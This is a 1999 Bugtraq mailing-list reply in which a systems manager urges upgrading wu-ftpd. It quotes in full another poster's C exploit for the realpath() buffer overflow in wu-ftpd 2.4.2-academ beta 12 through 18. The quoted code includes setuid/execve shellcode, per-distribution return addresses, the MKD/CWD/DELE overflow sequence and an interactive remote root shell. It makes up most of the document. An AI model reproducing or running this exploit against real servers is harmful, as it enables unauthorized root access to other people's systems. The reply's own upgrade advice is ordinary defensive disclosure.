[10436] in bugtraq

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Re: wuftp2.4.2academ beta 12-18 exploit

daemon@ATHENA.MIT.EDU (Chad Price)
Tue May 4 20:05:46 1999

Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Message-Id: <4.1.19990504085001.00b61260@molbio.unmc.edu>
Date: 	Tue, 4 May 1999 08:54:37 -0500
Reply-To: Chad Price <cprice@MOLBIO.UNMC.EDU>
From: Chad Price <cprice@MOLBIO.UNMC.EDU>
X-To:         Mixter <mixter@MIXTER.ORG>
To: BUGTRAQ@NETSPACE.ORG
In-Reply-To:  <Pine.LNX.4.04.9905012157010.543-100000@aviation.net>

Beta 18 is not a current version. Yet another reason to upgrade to the VR
series of wu-ftd. The current archives are at ftp.vr.net.


The location of the latest versions of wu-ftpd can be found in the
directory

      ftp://ftp.vr.net/pub/wu-ftpd/

wu-ftpd Resource Center:  http://www.landfield.com/wu-ftpd/
wu-ftpd FAQ:              http://www.cetis.hvu.nl/~koos/wu-ftpd-faq.html
wu-ftpd list archive:     http://www.landfield.com/wu-ftpd/mail-archive/



At 09:59 PM 5/1/1999 +0200, Mixter wrote:
>this works on a lot of wu-ftpd`s
>also uses other commands than MKD to
>exploit realpath() overflow
>
>/*
> * Remote/local exploit for wu-ftpd [12] through [18]
> * gcc w00f.c -o w00f -Wall -O2
> *
> * Offsets/padding may need to be changed, depending on remote daemon
> * compilation options. Try offsets -5000 to 5000 in increments of 100.
> *		
> * Note: you need to use -t >0 for -any- version lower than 18.
> * Coded by smiler and cossack
> */
>#include <stdio.h>
>#include <stdlib.h>
>#include <string.h>
>#include <stdarg.h>
>#include <unistd.h>
>#include <errno.h>
>#include <sys/socket.h>
>#include <sys/time.h>
>#include <netinet/in.h>
>#include <netdb.h>
>#include <arpa/inet.h>
>
>
>/* In a beta[12-17] shellcode_A overflow, we will not see responses
>to our commands. Add option -c (use chroot code) to fix this. */
>unsigned char hellcode_a[]=
>        "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */
>        "\xeb\x2c\x5b\x89\xd9\x80\xc1\x06\x39\xd9\x7c\x07\x80\x01\x20"
>        "\xfe\xc9\xeb\xf5\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c"
>        "\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x31\xc0\xfe\xc0\xcd"
>        "\x80\xe8\xcf\xff\xff\xff\xff\xff\xff"
>        "\x0f\x42\x49\x4e\x0f\x53\x48";
>
>unsigned char hellcode_b[]=
>	"\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */
>	"\xeb\x66\x5e\x89\xf3\x80\xc3\x0f\x39\xf3\x7c\x07\x80"
>	"\x2b\x02\xfe\xcb\xeb\xf5\x31\xc0\x88\x46\x01\x88\x46"
>	"\x08\x88\x46\x10\x8d\x5e\x07\xb0\x0c\xcd\x80\x8d\x1e"
>	"\x31\xc9\xb0\x27\xcd\x80\x31\xc0\xb0\x3d\xcd\x80\x31"
>	"\xc0\x8d\x5e\x02\xb0\x0c\xcd\x80\x31\xc0\x88\x46\x03"
>	"\x8d\x5e\x02\xb0\x3d\xcd\x80\x89\xf3\x80\xc3\x09\x89"
>	"\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d"
>	"\x4b\x08\x8d\x53\x0c\xcd\x80\x31\xc0\xfe\xc0\xcd\x80"
>	"\xe8\x95\xff\xff\xff\xff\xff\xff\x43\x43\x30\x30\x31"
>	"\x30\x30\x31\x43\x31\x64\x6b\x70\x31\x75\x6a";
>
>
>char *Fgets(char *s,int size,FILE *stream);
>int ftp_command(char *buf,int success,FILE *out,char *fmt,...);
>int double_up(unsigned long blah,char *doh);
>int resolv(char *hostname,struct in_addr *addr);
>void fatal(char *string);
>int usage(char *program);
>int tcp_connect(struct in_addr host,unsigned short port);
>int parse_pwd(char *in,int *pwdlen);
>void RunShell(int thesock);
>
>
>
>struct type {
>	unsigned long ret_address;
>	unsigned char align; /* Use this only to offset \xff's used */
>	signed short pad_shift; /* how little/much padding */
>	unsigned char overflow_type; /* whether you have to DELE */
>	char *name;
>};
>
>/* ret_pos is the same for all types of overflows, you only have to change
>   the padding. This makes it neater, and gives the shellcode plenty of
>   room for nops etc
> */
>#define RET_POS 190
>#define FTPROOT "/home/ftp"
>
>
>/* the redhat 5.0 exploit doesn't work at the moment...it must be some
>   trite error i am overlooking. (the shellcode exits w/ code 0375) */
>struct type types[]={
>	{ 0xbffff340, 3, 60, 0,  "BETA-18 (redhat 5.2)", },
>        { 0xbfffe30e, 3,-28, 1,  "BETA-16 (redhat 5.1)", },
>        { 0xb2ffe356, 3,-28, 1,  "BETA-15 (redhat 5.0)", },
>        { 0xbfffebc5, 3,  0, 1,  "BETA-15 (slackware 3.3)", },
>        { 0xbffff3b3, 3,  0, 1,  "BETA-15 (slackware 3.4)", },
>	{ 0xbffff395, 3,  0, 1,  "BETA-15 (slackware 3.6)", },
>        { 0,0,0,0,NULL }
>		    };
>
>struct options {
>	char start_dir[20];
>	unsigned char *shellcode;
>	unsigned char chroot;
>	char username[10];
>	char password[10];
>	int offset;
>	int t;
>} opts;
>
>/* Bit of a big messy function, but hey, its only an exploit */
>
>int main(int argc,char **argv)
>{
>	char *argv0,ltr;
>	char outbuf[1024], inbuf[1024], ret_string[5];
>	int pwdlen,ctr,d;
>	FILE *cin;
>	int fd;
>	struct in_addr victim;
>
>	argv0 = strdup(argv[0]);
>	*opts.username = *opts.password = *opts.start_dir = 0;
>	opts.chroot = opts.offset = opts.t = 0;
>	opts.shellcode = hellcode_a;
>
>	while ((d = getopt(argc,argv,"cs:o:t:"))!= -1){
>		switch (d) {
>		case 'c':
>			opts.shellcode = hellcode_b;
>			opts.chroot = 1;
>			break;
>		case 's':
>			strcpy(opts.start_dir,optarg);
>			break;
>		case 'o':
>			opts.offset = atoi(optarg);
>			break;
>		case 't':
>			opts.t = atoi(optarg);
>			if ((opts.t < 0)||(opts.t>5)) {
>				printf("Dont have that type!\n");
>				exit(-1);
>			}
>		}
>	}
>
>	argc -= optind;
>	argv += optind;
>	
>	if (argc < 3)
>		usage(argv0);
>
>	if (!resolv(argv[0],&victim)) {
>		perror("resolving");
>		exit(-1);
>	}
>	strcpy(opts.username,argv[1]);
>	strcpy(opts.password,argv[2]);
>
>	if ((fd = tcp_connect(victim,21)) < 0) {
>		perror("connect");
>		exit(-1);
>	}
>
>	if (!(cin = fdopen(fd,"r"))) {
>		printf("Couldn't get stream\n");
>		exit(-1);
>	}
>
>	Fgets(inbuf,sizeof(inbuf),cin);
>	printf("%s",inbuf);
>
>	if (ftp_command(inbuf,331,cin,"USER %s\n",opts.username)<0)
>		fatal("Bad username\n");
>	if (ftp_command(inbuf,230,cin,"PASS %s\n",opts.password)<0)
>		fatal("Bad password\n");
>
>	if (*opts.start_dir)
>		if (ftp_command(inbuf,250,cin,"CWD %s\n",opts.start_dir)<0)
>			fatal("Couldn't change dir\n");
>
>	if (ftp_command(inbuf,257,cin,"PWD\n")<0)
>		fatal("PWD\n");				
>
>	if (parse_pwd(inbuf,&pwdlen) < 0)
>		fatal("PWD\n");
>
>	srand(time(NULL));
>	printf("Making padding directorys\n");
>	for (ctr = 0;ctr < 4;ctr++) {
>		ltr = rand()%26 + 65;
>		memset(outbuf,ltr,194);
>		outbuf[194]=0;
>		if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0)
>			fatal("MKD\n");
>		if (ftp_command(inbuf,250,cin,"CWD %s\n",outbuf)<0)
>			fatal("CWD\n");
>	}
>
>	/* Make padding directory */
>
>	ctr = 124 - (pwdlen - types[opts.t].align);//180
>        //ctr = 152 - (pwdlen - types[opts.t].align);
>	ctr -= types[opts.t].pad_shift;
>	if (ctr < 0) {
>		exit(-1);
>	}
>	memset(outbuf,'A',ctr+1);
>	outbuf[ctr] = 0;
>        if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0)
>                fatal("MKD\n");
>	if (ftp_command(inbuf,250,cin,"CWD %s\n",outbuf)<0)
>		fatal("CWD\n");
>	
>	memset(outbuf,0x90,195);
>	d=0;
>	for (ctr = RET_POS-strlen(opts.shellcode);ctr<(RET_POS);ctr++)
>		outbuf[ctr] = opts.shellcode[d++];
>	double_up(types[opts.t].ret_address-opts.offset,ret_string);
>	strcpy(outbuf+RET_POS,ret_string);
>	strcpy(outbuf+RET_POS+strlen(ret_string),ret_string);
>
>	printf("Press any key to send shellcode...\n");
>	getchar();
>	if (ftp_command(inbuf,257,cin,"MKD %s\n",outbuf)<0)
>		fatal("MKD\n");
>	if (types[opts.t].overflow_type == 1)
>		if (ftp_command(inbuf,250,cin,"DELE %s\n",outbuf)<0)
>			fatal("DELE\n");
>        /* HEH. For type 1 style we add a dele command. This overflow
>        occurs in delete() in ftpd.c. The cause is realpath() in realpath.c
>	not checking bounds correctly, overwriting path[] in delete(). */
>
>        RunShell(fd);
>	return(1);
>}
>
>void RunShell(int thesock)
>{
>	int n;
>	char recvbuf[1024];
>	fd_set rset;
>
>	while (1)
>	{
>		FD_ZERO(&rset);
>		FD_SET(thesock,&rset);
>		FD_SET(STDIN_FILENO,&rset);
>		select(thesock+1,&rset,NULL,NULL,NULL);
>		if (FD_ISSET(thesock,&rset))
>		{
>			n=read(thesock,recvbuf,1024);
>			if (n <= 0)
>			{
>				printf("Connection closed\n");
>				exit(0);
>			}
>			recvbuf[n]=0;
>			printf("%s",recvbuf);
>		}
>		if (FD_ISSET(STDIN_FILENO,&rset))
>		{
>			n=read(STDIN_FILENO,recvbuf,1024);
>			if (n>0)
>			{
>				recvbuf[n]=0;
>				write(thesock,recvbuf,n);
>			}
>		}
>	}
>	return;
>}
>
>
>int double_up(unsigned long blah, char *doh)
>{
>	int a;
>	unsigned char *ptr,*ptr2;
>	bzero(doh,6);
>	ptr=doh;
>	ptr2=(char *)&blah;
>	for (a=0;a<4;a++) {
>		*ptr++=*ptr2;
>		if (*ptr2==0xff) *ptr++=0xff;
>		ptr2++;
>	}
>	return(1);
>}
>
>
>int parse_pwd(char *in, int *pwdlen)
>{
>	char *ptr1,*ptr2;
>
>	/* 257 "/" is current directory */
>	ptr1 = strchr(in,'\"');
>	if (!ptr1) return(-1);
>	ptr2 = strchr(ptr1+1,'\"');
>	if (!ptr2) return(-1);
>	*ptr2 = 0;
>	*pwdlen = strlen(ptr1+1);
>	/* If its just "/" then it contributes nothing to the RET_POS */
>	if (*pwdlen==1) *pwdlen -= 1;
>	printf("Home Dir = %s, Len = %d\n",ptr1+1,*pwdlen);
>	return(1);
>}
>
>int tcp_connect(struct in_addr host,unsigned short port)
>{
>	struct sockaddr_in serv;
>	int fd;
>
>	fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
>	bzero(&serv,sizeof(serv));
>	memcpy(&serv.sin_addr,&host,sizeof(struct in_addr));
>	serv.sin_port = htons(port);
>	serv.sin_family = AF_INET;
>	if (connect(fd,(struct sockaddr *)&serv,sizeof(serv)) < 0) {
>		return(-1);
>	}
>	return(fd);
>}
>
>
>int ftp_command(char *buf,int success,FILE *out,char *fmt,...)
>{
>	va_list va;
>	char line[1200];
>	int val;
>
>	va_start(va,fmt);
>	vsprintf(line,fmt,va);
>	va_end(va);
>
>	if (write(fileno(out),line,strlen(line)) < 0)
>		return(-1);
>
>	bzero(buf,200);
>	while(1) {
>		Fgets(line,sizeof(line),out);
>#ifdef DEBUG
>		printf("%s",line);
>#endif
>		if (*(line+3)!='-') break;
>	}
>	strncpy(buf,line,200);
>	val = atoi(line);
>	if (success != val) return(-1);
>	return(1);
>}
>
>void fatal(char *string)
>{
>	printf("%s",string);
>	exit(-1);
>}
>
>char *Fgets(char *s,int size,FILE *stream)
>{
>	char *ptr;
>
>	ptr = fgets(s,size,stream);
>	//if (!ptr)
>		//fatal("Disconnected\n");
>	return(ptr);
>}
>
>int resolv(char *hostname,struct in_addr *addr)
>{
>        struct hostent *res;
>
>        if (inet_aton(hostname,addr))
>                return(1);
>
>        res = gethostbyname(hostname);
>        if (res == NULL)
>                return(0);
>
>        memcpy((char *)addr,(char *)res->h_addr,sizeof(struct in_addr));
>        return(1);
>}
>
>int usage(char *program)
>{
>	fprintf(stderr,"Usage: %s <host> <username> <password> [-c] [-s
>start_dir]\n",program);
>	fprintf(stderr,"\t[-o offset] [-t type]\n");	
>	fprintf(stderr,"types:\n");
>	fprintf(stderr,"0 - %s\n", types[0].name);
>	fprintf(stderr,"1 - %s\n", types[1].name);
>        fprintf(stderr,"2 - %s\n", types[2].name);
>        fprintf(stderr,"3 - %s\n", types[3].name);
>        fprintf(stderr,"4 - %s\n", types[4].name);
>        fprintf(stderr,"5 - %s\n", types[5].name);
>        fprintf(stderr,"\n");
>	exit(0);
>}
>
>/* -EOF- */

Chad Price
Systems Manager
University of Nebraska Medical Center
600 S 42nd St
Omaha, NE 68506-6495
cprice@molbio.unmc.edu
(402) 559-9527
(402) 559-4077 (FAX)

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